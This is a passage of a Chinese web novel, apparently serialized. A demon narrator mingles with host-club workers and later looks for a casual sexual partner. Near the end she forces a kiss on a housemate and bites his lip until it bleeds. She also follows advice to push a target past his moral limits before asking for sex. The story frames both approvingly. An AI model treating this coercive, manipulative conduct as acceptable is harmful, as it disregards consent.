“今天?”他面带疑惑,看向坐着不动的泉卓逸,委婉地说:“今天正值周末放假,只适合一家三口,一家人在?难得?的时间出去聚餐,不太适合单独出游……” “你到底想说什么。” 泉卓逸打?断他的话,放在?桌上的拳头握紧,咬牙切齿地说:“如果是来嘲讽我的,现在?就滚。” “我好像没说任何冒犯的词汇吧,也没有嘲讽你的意思,我只是在?阐述现实而已。” 柯觅山冷静地看着他,唇微微抬起,像是长辈般说:“怎么还和以前一样?沉不住气。” “你不是我哥,凭什么教训我!” 泉卓逸猛地起身,看向我,眼神晦暗不明,“你走不走。” 我握着刀叉,茫然道:“啊?” 他冷笑一声,视线在?我和柯觅山之间来回徘徊,气冲冲地往外走,在?经过圆桌时,面色更加冷然,没给任何人一个好脸色。 他还没付钱!我才反应过来,痛心疾首,也跟着起身。 难不成要我付,那我也跑单吧! 说不定泉卓逸就是不想付钱才跑的,转眼他就没了人影,我生怕服务员从旁边蹿出来,使出擒拿术,当场将?我镇压! 就在?我思考之际,柯觅山向我发出邀请,“不如今天晚上和我们一起吧,等会把这桌的账单也算进去,就当我给你赔罪,冤枉你网络不好的事。” “那好。”我借坡下驴,立马点头,乐滋滋地跟在?他后面,来到圆桌。 其他年?轻人观察着我,衣着光鲜亮丽,像是刚从公司里出来似的,皮毛油光水滑。 旁边的女生笑着向我打?招呼:“我是蔺竹筱,妹妹你的名字是什么?我还是第一次见觅山主动找人搭话呢。” “栾水冬。” “水冬。真好听。” 她给我拿来新的餐具,撑着下巴看着我,“你在?哪里读书呢。” “她已经在?工作了。” 柯觅山三言两语拉走关?注,让其他人移开目光,“今天早上的那个方案没通过,需要重做,不如多想想这方面的事。” “都到餐桌上了,怎么还要讨论工作。” 我对?面的男生吆喝一声,垂头叹气,“我是什么也做不了的,除了回去求老妈。” “那你就回去求求吧,项目还差一批投资。” 他们讨论着鸟文,我则埋头品尝新奇的口味,此乃进入高?级餐厅的第一要务。 但挨个尝了一口,也没觉得?新奇到哪里去,胃部不需要多余的东西,很快我就放下刀叉,开始玩手机,刷刷小视频。 我的行为引起桌上人的注意,坐在?对?面的男生露出看好戏的表情?,揶揄地说:“我们还没结束,这位小姐就已经想要离开了,看来食物也拴不住她的心啊。” “柯觅山,你不说点什么?” “你多嘴干嘛,人家想干什么就干什么呗,别把你的规矩带到别人身上,好好吃饭,多想想项目,就你最没用了。” 蔺竹筱开口堵住他的嘴,笑骂道:“是不是平时话多了,工作才努力不起来啊?” 桌上的人纷纷笑了起来,男生悻悻地笑着,嘟囔两声,“我只是小见多怪嘛。” 我只觉得?他们笑得?格外矜持,笑起来只露出八颗牙齿,坐姿端端正正,像是统一印刷过似的。 柯觅山侧眼看我,笑容温和道:“你吃饱了吗?” “对?。”我转头看向外面,思考该什么时候打?车。 柯觅山似乎看出我的想法,说:“等会我送你,你无聊就去旁边吧。” 桌上的人又开始打?趣,东一句西一句调笑起来,眼睛好奇地往我身上看,像是在?看什么新奇品种似的。 我觉得?他们都挺奇怪,于是干脆离桌,跑到外面看路上的人。 泉卓逸离开后没有给我发消息,安静得?像是死了。 我刚想发消息,忽然想起今天的游戏还没有清日常任务,于是找了个位置坐下,开始玩游戏。 街上热闹非凡,出来的一家三口很多,成群结伴谈笑着,时不时传来几声熊孩子的欢呼声。 热闹的街道比餐厅里更让我舒服,至少?现在?蹲下也没有人在?意。 我将?此归结为有钱人的龟毛病,决定以后也像他们一样?,有钱了给别人立一堆规矩,在?旁边发出有钱的笑声。 就在?我把体力值清光的时候,柯觅山的影子遮盖住我。 我抬起头正好对?上他的蓝色眼睛,暗幽幽的,像海底的颜色,但很快他笑弯眼睛,遮住幽蓝。 “学妹,我送你回去。” 我跟在?他身后,想往停车场走,结果还没到,他让我等在?边上,片刻后一辆黑色的车停在?我们面前,颜色光泽靓丽,形状流畅,车身很低,一看就很贵。 司机出来,替我们拉开车门。 我也享受了一把有钱人的体验,上车后,摸摸左边,又摸摸右边,最后看向系安全带的司机,没忍住问:“如果你不开门,他会一直等着吗?” “小姐,你说笑了,是我们习惯给开门了。” 柯觅山长腿迈进,坐在?我旁边,听到我的问题,嘴角浮现笑意,饶有兴趣地说:“下次你可以试试,到底会发生什么。” 他一笑,司机也跟着笑,笑声具有先后性?。 车里有冷冻柜,柯觅山随手拿出一瓶水,递给我,又问我热不热,需不需要开空调。 司机好奇地回头看我们,但很快保持坐姿,绝不回头,视线偶尔通过后视镜看来。 车行驶起来稳得?像是在?原地坐着,靠背柔软舒适,我懒洋洋地享受起来,眯着眼睛看手机,心里对?柯觅山的赞赏又多了几分。 “我还以为你会有什么想问的。” 我从短视频里抬头:“什么?” 柯觅山笑了下,视线扫过我的手机,淡淡地说:“没什么,只是我有想问的。” 我歪了下脑袋,盯着他:“你想问什么?” 他端正地坐着,双手交叠在?一起,蓝色的眼睛略带兴味地盯着我,嘴角天生上扬,不笑时也温和似水,说:“你和泉卓逸是怎么认识的?” “在?工作的地方。” “嗯。”柯觅山点了点头说,“原来是这样?。” 我重复一个事实:“你认识他。” 柯觅山故作神秘,挑起一侧眉,饶有兴味地说:“他可不会愿意让我说的,不如你回去问他,让他自己告诉吧。” 我点点头,觉得?也没什么可说的了,于是低下头继续玩手机。 玩了一会,我的耳边响起柯觅山幽幽的声音。 “……学妹,手机有这么好玩吗?” “我也没事做啊。” 他微笑道:“我们可以聊天。” “好吧,聊五毛钱的。” 我想了想,径直挑出最感?兴趣的话题,好奇地问:“上次你的父母是怎么回事,你还没告诉我呢。” 柯觅山:“……” 空气凝固了,我看到司机惊恐的眼神,随后挡板升起,遮挡住前后排的视野。 他挑了下眉,笑容不变,平静地说:“错过机会,我就不会告诉你了。” 我发觉不对?,立马指出他的诡计:“你在?吊我胃口!” “我也是学别人的。” 他若有所指,视线从我的手机扫过,像是水面上泛起的波澜,很轻很浅,“网修好了吗?” “一半一半吧。”我摸着下巴,胡说道,“哎呀,一直没有完全修好。” 柯觅山笑了笑,抬手叫停司机,让车停在?路边,打?开车门出去了。 我一头雾水,问司机:“他怎么了?要去上厕所吗?” “……我也不知道。” 司机憨厚地笑了下,“不过应该不是上厕所吧,少?爷不喜欢用外面的厕所来着。” 很好,我掌握了柯觅山的上厕所规律,没用的知识增加了。 过了几分钟,柯觅山去而复返,手里拎着小袋子,他平稳地坐进车,然后把袋子递给我。 我打?开看,竟然是最新款的手机,哇了一声,开心地拆开包装,拿着崭新的手机摆弄起来。 不仅外表美?丽,价格也很感?人,我满意得?不行。 我拿着手机看来看去,颇为兴奋地说:“我知道这个,打?游戏可快了。” “不只有打?游戏一个功能吧。” “用这个,以后不会网卡。” 柯觅山眨了下眼,笑着说:“对?吧?” “保证!” 我对?新手机爱不释手,等下了车,开心地朝柯觅山挥手,才往回走。 回去的路上,我忽然想起泉卓逸,于是用新手机给他发消息。 结果发出去的消息旁边冒出硕大?的红色感?叹号。 他竟然把我拉黑了?!—— 作者有话说:这个学哥暗贱,高高在上的嘞 第27章 惹他的不是柯觅山吗, 怎么把我也拉黑了?而且他饭钱还没付! 我郁闷地回到家,在哥哥的询问?下把被拉黑的事说了出来,他愣了一下,说泉卓逸本来脾气怪, 下次还是离他远一点吧, 我怒在心头跟着点头。 旁边的浦真天?看了我好几眼, 默默地开心,我看到他嘴角扬起,藏不住笑,等看电视时, 他也来到沙发上,和我们?一起看电影。 有浦真天?在的时候,哥哥变得格外沉默, 他只是拉着我的手?,安静地看完整部电影,结尾时,他叫住浦真天?, 两人?不知道说了些什?么,第二天?浦真天?又开始垂头丧气,身?上的甜蜜气息时浓时淡,像是在拼命给自己拧上盖子。 等重新回到店里时, 我已经轻车熟路, 走进办公室像回到自己的家一样。 我刚拿起手?机, 便看到柯觅山的消息, 一大早上他就?来问?好,试探我的网络功能。 [柯觅山(有钱)]:早上好 [柯觅山(有钱)]:今天?的天?气很不错呢,你有见到泉卓逸吗, 如果见到的话?,请帮我道个歉,昨天?惹他不高兴 说到泉卓逸我就?来气,没见过还没我有素质的人?类! [世界第一恶魔大人?]:我真不知道他在生什?么气 [世界第一恶魔大人?]:但是我去?替你道歉,他不会把怒火迁到我身?上吗 这个柯觅山不怀好意,总是暗搓搓地想搞点事。 [柯觅山(有钱)]:根据我对他的了解,他应该做不出迁怒女性的事 [柯觅山(有钱)]:虽然生气,但很快也会好过来的 [柯觅山(有钱)]:如果他真生你的气,那我再给你赔礼,怎么样? 听上去?像是双赢的局面?。 我接了下来,想着又能薅羊毛,于是在办公室等着他们?上班,时间一到,我来到门?口,先撞上了宗朔。 他像是刚才床上下来,头发乱糟糟的,额前的刘海挡住眼睛,嘴角习惯性下撇,手?作势要往门?把手?上放,但因为我提前打开了门?,落在半空中,随性地打起招呼:“哟,来得挺巧啊。” “我看到了。” 他疑惑地往后面?看去?,迟疑地说:“看到什?么?” “看到你在门?口。” “你有透视眼啊?” 我的视线往下移,他抬手?挡在身?前,嘴角抽了下,“能不能当个纯洁的人?。” “是你思想不纯洁。” 我想了想,说:“我要看监控。” 宗朔走进办公室,懒洋洋地落座,“你已经预谋夺权到这个地步了吗,下一步是不是把我赶出店了。” “你可是销量第一,说什?么也不能赶走啊。” “哦……就?是我还有用咯。” 说完,他把手?机甩给我,打了哈欠。 “看呗,没啥好看的。” 我点进监控,发现画面?正好就?是办公室。 宗朔镇定地将手?背在脑后,穿得也像是睡衣一样,松松垮垮的,领口偏低,露出小半的胸肌,脖子上挂着串着玉的项链。 他察觉到我的视线,解释道:“怕你偷东西。” “全是拼叉叉有什?么好偷的。”我嘟囔着,发觉宗朔挺奇葩,不怕我偷贵的,生怕我偷便宜的。 宗朔:“你看监控是想干嘛。” “我找人?。” “谁?” “泉卓逸。” 我冷笑一声?,强调道:“他居然把我拉黑了,因为想让我和他一起逃单,我没同意,他就?生气得把我打入黑名单。” 简直素质低下!十?恶不赦! “……?” 宗朔挑了下眉,一边打开电脑,一边漫不经心地问?道:“你和他出去?玩,他带你逃单?确定不是你想逃吗。” “我是那种?人?吗?” 我严肃地重申道:“总而言之,他把我拉黑了。” 他昂了下头,盯着电脑屏幕,随口嗯了声?。 “你不觉得这件事很严重吗!” “他本来就?是这个脾气,易爆易怒,反复无常,随时都有可能挠你一爪子,反正你也占到便宜了。” 宗朔抬头看向我的手?机,语气意味不明:“新手?机。” 我:“不是他给我买的。” 我觉得这个手?机打游戏非常不错,还不发烫,用了它之后,我尤其喜欢发动态,看着后面?缀着的手?机型号,心里也是美滋滋的。 宗朔挑起眉,问?:“那是谁,你从哪里薅来的钱。” “你不认识,我一个学长。” “说呗,说不定我知道呢。” “柯觅山。”我说,“你听过他的名字吗?” 宗朔点鼠标的动作顿了一下,平淡地嗯了一声?,“新闻上看到过,未来可期的富豪之子嘛。” 他平静地揭过,哼笑一声?,眼底流露出看好戏的神情,“我还以为他们?是好兄弟呢,没想到现在变成相互捅刀子的关系了。” “你知道他们??” “听泉卓逸说过,刚开的时候,他总是念叨有个很厉害的哥哥,指着柯觅山的照片,说他认识,我猜那个哥哥就?是他吧,但后面?又不说了,应该是闹矛盾了。” 泉卓逸看着年纪不大,像是比我大几岁的样子,他是什?么时候来当男公关的? 我还没有问?出口,门?忽然被敲响。 宗朔起身?来到门?口,和门?外的人?交谈几句,眉头逐渐收紧,关上门?后,他脱下外套,换上工作时的衣服。 “麻烦啊,真麻烦。”他盯着手?机,时不时滑动一下,像是在查找什?么。 我走到他身?边,发现他在看监控,各个角度扫视,从一楼找到二楼,又开始看楼梯口的监控。 “怎么了?有人?偷东西?” 宗朔心情不愉快,语气结冰:“闹出一个麻烦还不够,他还要再整一个。” “泉卓逸躲起来了。”他说,“预定他的客人?正在闹呢,要是找不到人?,我们?要赔十?倍违约金。” “等等预约要多少钱来着?” “十?万。” 那不就?是一百万?! 我瞬间警觉,一把抢过他的手?机,“你懂什?么,我来找!” 凭借我作为恶魔的超清视力,找了半天?,我也没看出来任何异常,他真就?消失了。 宗朔找了一会儿,就?打算放弃,他也懒得管泉卓逸到底是因为什?么突然离开,原本还看到过他走进店里,但在要迎客的时候,突然玩起失踪,宗朔说他是无聊的小孩,懒得跟他玩捉迷藏,只派了几个男公关去?角落里找他。 我觉得他可能缩在厕所里,于是建议扩大搜罗范围。 如果找不到他,可是要损失一百万的!我痛心疾首,像是从自己钱包里掏出一百万似的,但在听到不是扣盈利的钱,而是扣泉卓逸的业绩后,瞬间不痛了。 泉卓逸的绩效扣完,只剩八十?万了,就?是个穷光蛋,不知道还能不能薅出饭钱。 没人?在垃圾桶或者厕所里找到他,宗朔叫回男公关,让他们?去?工作,很快所有人?忘记还有他这个人?,该陪酒的陪酒,揽客的揽客,一切如常。 有几个男公关笑得比平时更?开心,卖劲地讨好客人?。 少了他,好像什?么也没有变。 等欣赏够了一楼的风景,我开始在整栋楼里转悠,试图从角落里揪出一个泉卓逸。 我在二楼转了一圈,没见到泉卓逸,倒是看到了浦真天?。 他正跟着客人?走进包间,看到我时,立马别过脸,假装自己不存在,他旁边的客人?正值中年,身?体?保养得很好,气质儒雅随和,她看见我,和蔼可亲地点点头,随后拍了下浦真天?的肩膀,跟他说了些什?么。 等两人?走进房间,我才慢悠悠地从门?口经过。 整个二楼充斥着柠檬和棉花糖的味道,偶尔能闻到一点薄荷的清香。 我想凭借味道找人?,但二楼太多浓烈,嗅不出泉卓逸的气息。 我又去?一楼转了一圈,最后登上三楼。 到了三楼,属于泉卓逸的甜蜜气味明显不少,沿着它的尾巴,我来到了通向天?台的楼梯前。 天?台的门?半掩着,上面?挂着解开的锁,不注意看的话?,和平时毫无区别。 我来到门?口,往门?缝里看去?。 一个背对着我、颇为伤感的背影站在栏杆边。 这一幕有点眼熟。我想。 我推开天?台的门?,走了进去?。 泉卓逸没有回头,我还以为他只是不想搭理我,但走近一看,他戴着耳机,出神地盯着不远处的高楼大厦,沉浸在自己的世界里。 我拍下他的肩膀,果不其然吓了他一跳。 泉卓逸惊魂未定,看见是我,脸上带着被打断的烦躁,他粗鲁地摘下耳机,嘴唇上的唇环不见了,只能用虎齿咬下嘴唇,表情冷淡。 “……你又要干什?么。” “我只是想问?,你是不是忘记什?么了。” “我不学了。”他别过脸,淡淡地看向外面?的风景,语气冷得像是一块冰,“没什?么好学的,都是骗人?的东西。” 我好心提醒:“我的意思是,你忘记付餐费了。” 虽然我没付钱,但我要捞一笔。 泉卓逸像是炸药桶似的,一下子就?炸了:“你这个家伙,只是来说这个的吗——” 我冷酷道:“不接受AA。” “行,我转给你行吧。” 他恼怒地抓头发,眉头皱在一起,眼尾下垂,虽然在生气,但看着有点可怜,他拿出手?机,想要直接给我转钱,却发现发不了消息。 “你把我拉黑了。” 他的手?指停住,片刻后咬紧下唇,把我拉出黑名单,给我转钱。 我盯着他的手?指,好奇地问?:“不去?工作的话?,你还有钱吗?” “钱这种?东西,我想要多少就?有多少。”泉卓逸厌烦地放下手?机,看向下面?移动的人?,不咸不淡地说:“我根本不在乎这些。” 我也看了眼下面?,恍然大悟道:“因为楼层低所以可以肆意地装逼。” 才三层楼高,怪不得恐高症也能俯视地面?。 “……你就?不能说点好话?吗。” 泉卓逸烦躁地别着脸,“你可以走了,我不会回去?的。” 我又凑近了点,在他耳边说:“赔偿一百万诶!” “那点小钱,我还是付得起的,不劳你费心。” 我:“所以你到底在生什?么气。” 泉卓逸哽住了,片刻后冷笑出声?,咬牙切齿地说:“……你不觉得好笑吗。当着我的面?和那个贱货调情,以为我看不出来?” “可是这和你有什?么关系。” 他的表情凝固,扯了下嘴角,自暴自弃地垂着头,也不凹造型了,像个乌龟一样想要缩起来,闷声?说:“是没关系,你可以走了吗,非要让我给你跪下才行吗。” 我摸着下巴说:“我只是在想为什?么。” “为什?么,为什?么,哪有那么多为什?么!” 泉卓逸霎时抬起头,眼睛通红地看着我,彻底情绪失控,脖颈处青筋凸起,眼底凝聚着水光,察觉到失态,他猛地别过脸,用手?臂挡住脸,“我不想和你吵架,没意思,就?当是我的错吧。我不想认识你了。” “你应该是喜欢我吧。” “……” 他继续埋着脸,手?指抓着栏杆,一副不会再搭理我的模样。 我发现他今天?没有戴戒指,手?指和嘴唇一样干净,但眉骨钉还在,像两个倔强的犄角。 我仍然不打算走人?,品味着泉卓逸刚才一闪而过的表情。 泉卓逸是个表情和感情都很丰富的人?,莫名的伤心,莫名的愤怒,像个惊喜盲盒,很好玩,就?像是戳一下就?会跳一下的青蛙。 于是我也把头埋下去?,通过他的臂弯从下看去?,“真哭了?” 泉卓逸立马换了个方向。 “没有。” 我点点头,觉得他的承受能力还挺强的,于是拍了下他的肩膀,“你讨厌柯觅山吗?他让我向你道歉。” “他这种?家伙,讨厌他不是正常的吗,装货一个,最喜欢在别人?面?前表现了,我不会接受他的道歉,这辈子都不会。” 他嘀嘀咕咕说完,又沉默下来,半晌后才从喉咙里挤出一句话?:“你想说什?么,说你喜欢他是吗。” 像是破罐子破摔了,泉卓逸抬起头,露出一张表情复杂的脸,不像我想的那么脆弱,更?像是一种?陷入自我厌弃的表情,从内心深处想要作呕。 他的眼睛看着向我,像是要应激似的,手?指攥紧了栏杆。 “其实我更?喜欢你。”我说。 我喜欢好操控的、情绪丰沛的人?,看着他们?痛苦的汁液从体?内渗出,像捏碎一颗苹果,更?别提他还长着我喜欢的样子。 泉卓逸看着我,眼神愣怔。 我忽然想起电影里的剧情,表演欲大爆发,抓住他的手?,在他后退前拿出一直想再讹一笔的、放在口袋里的五金戒指,给他戴上。 “物归原主。” 我十?分满意地说:“你的手?戴着戒指好看。” 他猛地攥紧手?掌,力道象征性地往后抽,但是被我捏住像是失去?力气,僵硬地停留在原地。 我顺着他握紧的拳头往上看,看到一张通红的、几乎变成番茄的脸。 我觉得这幅模样,或许能让他的排名再升几名。 泉卓逸从牙缝里挤出几个字,眼睛亮得渗人?,愣愣地问?:“你什?么意思。” “就?是这个意思。” 就?是觉得他戴戒指好看呗。 他像是被打败似的,泄气地低下头。 我乘热打铁,问?:“那个晚餐的钱。” “马上给你。” 泉卓逸低头摆弄手?机,等转完账,忽然开口:“……你知道我是男公关吧。” “浦真天?也是,你哥也是。” 他说了个大众皆知的事实。 我歪着头看他,等着下一句话?,但他倏地转过头,脸上的表情被风吹得消失殆尽,声?音弱不可闻,“算了……反正也没有意义。” 他固执地看向我,眼中闪动着莫名的光,像是期待我说点什?么。 我了然地点点头,心想这个我知道。 我:“宗朔也是男公关。” 说曹操,曹操到。 在我念出这个名字时,本人?推开了天?台的门?,表情淡淡的,嘴边含着一只没有点燃的烟,视线轻描淡写从泉卓逸身?上划过,落在我的身?上。 “该回去?了,至少记得你是来工作的吧。”—— 作者有话说:地雷男……什么时候改个花刀给大伙看看。 下章国庆节!我已经开始爽了 第28章 该工作的另有其人。 泉卓逸见?到宗朔像是老?鼠见?了猫, 手脚绷直,没等宗朔说话,直接鞠躬道歉,说会承担所有后果。 不知道是不是我的错觉, 宗朔对他也要更刻薄些, 随便?交代了几句, 不把他的道歉放在心上,让他把话说给该听的人,然后懒散地招呼我离开。 我还以为他有事说,结果这人只是没找到打?火机, 去办公室转了一圈以为是我偷走了。 我觉得他小题大做,虽然的确是我偷走的,但一个打?火机, 难不成偌大一个店里找不到其他抽烟的人? 最?后还是把打?火机还给他,我下楼去看泉卓逸怎么?安抚客人。 别的不说,泉卓逸虽然道德素质有问题,职业素养还是一等一的。 他熟稔地露出?可?怜的表情, 转变之前的装酷态度,直白地讨好面色愠怒的客人,三言两?语就让对方放下怒气,半推半就地点酒。 这幅模样, 像是换了个不认识的人, 前不久在天台上伤感的模样, 可?比现在这幅刻意的表情好太多。 如果真心地展现自己, 或许客人会更喜欢他一点吧。 怪不得才第十名呢。 我想。 我饶有兴致地观看他安抚客人、从?讨好的态度逐渐恢复成平常,演了几次吃醋的戏码,又变回之前的人设。 因?为要成为老?板的缘故, 我去网上搜罗了一圈有关男公关的话题。 首先,男公关是依靠提供情绪价值、卖酒生活的销售类服务人员,工资普遍很高,因?为情绪价值有关颜值,所以越帅的人越吃香。 但他们的风评不怎么?好,像是上学?时嘲笑的路边小混混,统一归入不务正业一类,而?且因?为很多男人手段下作,总是想爬到客人的床上,所以在外名声败坏,在很多人眼里是一个男人向下的捷径。 当了男公关的男人,一般没有女人要,觉得他们便?宜又掉价,是只能玩玩的程度。 我看得津津有味,忽然想到哥哥,怪不得他不想让我知道他在做什么?,原来是担心名声不好啊。 我倒是不在乎这个,因?为名声坏的不是我,还有钱拿,我只能心疼他,打?算以后要对他更好点。 于是晚上回家时,我问他有没有什么?想要的。 他思考了很久,才吐出?一句话。 “我只想要你好。” 所以栾明是个奇怪的人,作为人类,不应该想着?怎么?利己吗,还是说他把我当成了他自己,所以毫无顾忌地对我好? 我觉得我可?能永远也理解不了他的想法。 但既然他这么?想,我就大大方方地对自己好了,用攒下的来的钱充了个大礼包,然后又买了一堆看上去新奇的东西?,每天坐等收包裹。 生活潇洒滋润,灵魂裂缝弥合速度不知不觉加快。 因?为被推进时空裂缝,我的灵魂在那时搅成了碎片,需要很长一段时间才能彻底完整,至少?吃得少?、活得穷,所以灵魂恢复的速度一直很慢,最?近才有加速的趋势。 我属于恶魔的身体,目前还在宇宙的某个角落里,以极其缓慢速度的修复着?。 只有灵魂完整了,身体的修复才能加快,而?等身体恢复了,我就要思考要不要回到原本的世界。 但那是很久以后的事了。 至于为什么?提起这件事,因?为我发现了身体不对劲的地方。 灵魂裂缝弥合的时候,属于恶魔的欲望愈发茂盛,占据主导的懒惰逐渐转变为另一种隐秘的、湿漉漉的欲望。 简而?言之,我想OO了。 我的目光开始长时间在男性的脖颈、胸部和手臂上徘徊,自从?那场春梦后,简直就像是色·欲大爆发一样,牙齿总是发痒,想要咬人。 以前在另一个世界,我随时都能用别人的身体消遣,但现在不行了。 因?为人类有道德枷锁。 在经历过麦景的突然消失后,我决定?再也不搞男女关系,因?为那东西?没用,根本留不下人,而?且还不能多交几个,瞒来瞒去一点用也没有。 我善用上网搜索,发现人类世界有个新奇的词,叫做炮·友。 等我搞懂是什么?后,我不由感慨,这简直就是为我而?生的,既不用负责任还能大玩一场,简直美滋滋啊! 接着?我开始谁能当我的炮·友。 颜值要过关,身材也不能差,最?好还是个有钱人。 我开始在身边筛选起来,但由于男公关大部分都不是能见?光的,于是选来选去最终定格在宗朔、浦真天、泉卓逸和柯觅山身上。 又是老牛吃草、熟人发挥作用的时候。 我先把注意打?到宗朔身上,于是直接甩了条消息过去。 [世界第一恶魔]:当我的炮·友 [世界第一恶魔]:给你这个机会 [世界第一恶魔]:(玫瑰.jpg) 我在凌晨发的消息,宗朔自然直接秒回。 [宗贱朔人]:? [宗贱朔人]:机会给别人吧 我倒吸一口凉气,瞬间怒了,噼里啪啦打?字。 [世界第一恶魔]:你敢拒绝我?! [宗贱朔人]:不用猜就知道是坑 [宗贱朔人]:我很懂哦 [世界第一恶魔]:你很装你知道吗,呵呵呵呵呵呵,其实我也没有很想! [宗贱朔人]:那你去问别人吧,我猜他们也不想 [宗贱朔人]:最?后还是要回来找我 [宗贱朔人]:你再求我一次,我说不定?就答应了 贱得我咬牙切齿,手痒痒想拉黑人,想到他还是名义上的店长,遂熄了火,郁闷地放下手机。 难不成炮·友很难找吗? 我再次上网搜索,发现有人回答说:一般人遇到这种事都会觉得难以接受,所以要先下嘴为强,先让目标突破道德底线,然后再乘机问要不要,这个时候多半都会答应。 我自动忽略掉下面‘用在酒吧一夜情’的字眼,心猿意马想要尝试,胸口有火焰乱窜,让我口干舌燥。 实在睡不着?,我推开卧室门,想去接杯水喝。 客厅寂静无声,笼罩在像深海似的光影中,哥哥躺在沙发上,在窗外月光的照耀下,像座静谧的雕像,他睡觉的时候也是安分的,双手放在被子上,左右对称,安安静静。 我走过去时,他的呼吸平稳,胸膛有规律的起伏。 周围太过寂静,似乎整个世界只有我一个人睡不着?,火烧火燎地想找个人宣泄欲望。 我喝了半杯水,郁闷地坐在地上思考人生,思来想去也不明白宗朔为什么?拒绝我,于是起身,走进洗漱间,对镜开始欣赏自己。 镜子两?边摆放着?高矮不一的护肤品,旁边还挂着?发箍,是浦真天洗脸时,用来防止刘海沾水的东西?。 这些护肤品有一大半是他,另一部分是哥哥的,平时我没怎么?看过,如今来了兴趣,挨个挤出?来玩,想象自己是药剂师,要调制出?能让人变好看的药剂。 就在我鼓捣时,门口传来一阵脚步声。 迷迷糊糊的浦真天挤进洗漱间,顶着?一头睡得乱糟糟的头发,没看清楚我,直接撞了上来。 他吓得惊醒,后退几步,睁大眼睛差点叫出?声。 “小、小冬?!” 他回过神,疑惑地问:“你怎么?不睡觉?” 他的视线移向洗漱台上凌乱的瓶瓶罐罐,瞬间像是肉痛似的,倒吸一口凉气,眼睛又睁大几分。 我试图狡辩:“我想找洗面奶来着?,但是没看清楚是哪个。” 浦真天真信了,恍然大悟笑了起来,眨下眼,来到我旁边,颇为认真地说:“这个不是洗面奶,那个才是,你想用吗?我给你拆个新的,下次想要的话,直接问我就好了。” 他说着?,从?柜子里拿了一个新的出?来,又怕我不会用,打?开往我手里挤了些。 他用手做动作,示意我跟他学?,认真得有点蠢,两?只手搓完了,又贴在脸上搓。 见?我没动,浦真天局促地放下手,问:“是不懂吗?还是你不喜欢这款?” 他应该是刚下床,金发乱糟糟的,睡衣领口凌乱地散开,露出?半边锁骨,他黑得很均匀,小麦色的皮肤上点缀着?几颗痣,像巧克力碎屑。 浦真天半弯着?腰,局促地等待着?我的回答。 这幅模样,像是在等着?我做些什么?。 于是,我两?手夹住他的脸,连同洗面奶一起糊了上去,在他不知所措的注视下,亲了上去。 性·行为的第一步亲吻,是指交换唾液,大部分魅魔以体·液为食,都是响当当的硬派。 通常举办活动的时候,她们会带来自己的食物,在举行仪式时将对方吸食干净,身体里的所有液体抽离,直到变成干尸,化作尘粉。 我羡慕不已,也偷偷试过自己能不能靠体·液生活,然而?,亲吻天使、亲吻恶魔、亲吻乱七八糟的物种的时候,除了湿润的舌头什么?也感受不到。 但我喜欢这项活动。 可?以证明自己是个硬派,拿出?去炫耀。 按照网上所说的,我率先发起了攻击。 我撬开浦真天的嘴唇,横冲直撞地搅动他的舌头,他没反应过来,毫无防备地张开嘴,从?唇齿间泄露出?断断续续的气音。 似乎在说什么?话,但我的耳边只听得到舌头间搅动的水声。 舌头是另一个感知器官。探寻着?未知的秘境。 我知道怎么?让他反应更大,故意衔住他的舌头,等他慌慌张张、僵硬地说话,牙齿又不敢碰到我的舌头,只能像个玩具一样愣在原地。 他的手按住我的肩膀,想要把我推开,手心滚烫地贴在我的肩膀上,力道微弱。 我放开他的舌头,转而?舔舐起上颚。他眯起眼睛,浑身温度上升。 慢慢地,呼吸交缠下,他情不自禁向我靠近。 地板的冰冷的,浦真天的呼吸却是热的,他像个源源不断发热的火炉,迫不及待地吞咽唾液,湿软的舌头青涩地顶我的上颚,小心翼翼的、努力的屏住呼吸。 他前不久漱过口,口腔带着?薄荷的冰凉。 等猎物完全放松警惕,陷入沉醉中,我咬住他的唇瓣,犬齿用力,轻轻磕碰便?划拉出?伤口,血腥味让我更加兴奋,看着?他疼得眯起眼,心情愉悦。 浦真天一下子清醒过来,呼吸滚烫,连忙制止我的行为,往后撤离,分离时,唾液连成丝,隐没在他露出?的锁骨上。 他捂住流血的嘴,瞳孔地震。 我擦了下嘴,砸吧砸吧,口腔里充盈着?棉花糖的甜蜜。 他的胸膛剧烈起伏,视线落在我的嘴,瞳孔有些失焦,半天没反应过来到底发生了什么?。 浦真天的脸瞬间红了,他结结巴巴地开口:“小、小冬,你知道这是什么?意思吗……我、我们……不应该,不应该这样的,你——” 他的话越来越混乱,没忍住往外看去,似乎在担心哥哥会突然醒来,拳头攥紧,像只疯狂摇尾巴的狗,眼神湿漉漉的、急切地向我看来。 他舔了下唇,嘴唇上还留着?我咬出?的伤口。 “我知道。” 我说。 他的眼睛一下子亮了,像是两?颗琥珀石,满怀期待地看着?我。 我说:“当我的炮·友吧。” “反正你刚才也没有拒绝我。”—— 作者有话说:这个[世界第一恶魔大人]发的第一句话被屏蔽了,所以[宗贱朔人]完全没搞清楚她在说什么,然后本章受伤的只有狗 第29章 我被拒绝了。 我以思考者的姿势坐在?办公室里, 全神贯注思考着失败的原因。 为什么我会接连失败呢? 我左思右想,绞尽脑汁地想,没有得到任何结果。 “咚咚咚。” 有人敲门?。 我打开门?,看到重?新挂上各种五金饰品的泉卓逸, 他先是往里面看, 确定没有其他人, 松懈下来,朝我昂了下头,吊儿郎当地走进办公室。 他也不表明来意,先叮铃哐啷地坐下, 嫌弃地拍了下桌子,翘着腿:“你就坐这种地方啊?不嫌硌人。” “你坐的是宗朔的位置。” 泉卓逸立马弹开,老老实实地站在?旁边, 尴尬道:“你怎么不早说。” 我心想他身上那么吵,怎么听得到我的视线呢。 我还?在?气头上,回到位置上继续思考着。 为什么会失败呢……错的不是我,那到底哪里没做对。 我摸着嘴唇, 回想起昨天晚上浦真?天愣怔的脸,空白茫然,很快变得苍白,虽然他很黑, 但?我还?是看出来苍白两个字。 嘶, 是不是该说苍黑? 他的面容背对着光, 笑容十分勉强, 像是被一道雷给劈了,笑不出来也哭不出来,胡乱说了句什么, 慌乱地逃离了洗漱间。 留下我面对乱糟糟的护肤品,手心还?留着洗面奶。 第二?天起来的时候,哥哥没什么表情、淡淡地说浦真?天已经走了。 我还?以为他能?当男公关,思想就已经很开放了,没想到会被跑友两个字吓跑,难不成当跑友比男公关还?丢人……? 于?是,我开始慎重?地思考起来。 到底要在?剩下的泉卓逸和柯觅山里选,还?是麻烦一下又?当妈又?当哥的栾明呢。 “……这是什么传奇老古董。” 自从进入办公室,泉卓逸叽叽喳喳个不停,挨个点评办公桌上摆放的物?品,指着我的水杯啧啧称奇:“看上去像是从战场里捡回来的破烂,怎么会放在?你桌上。” 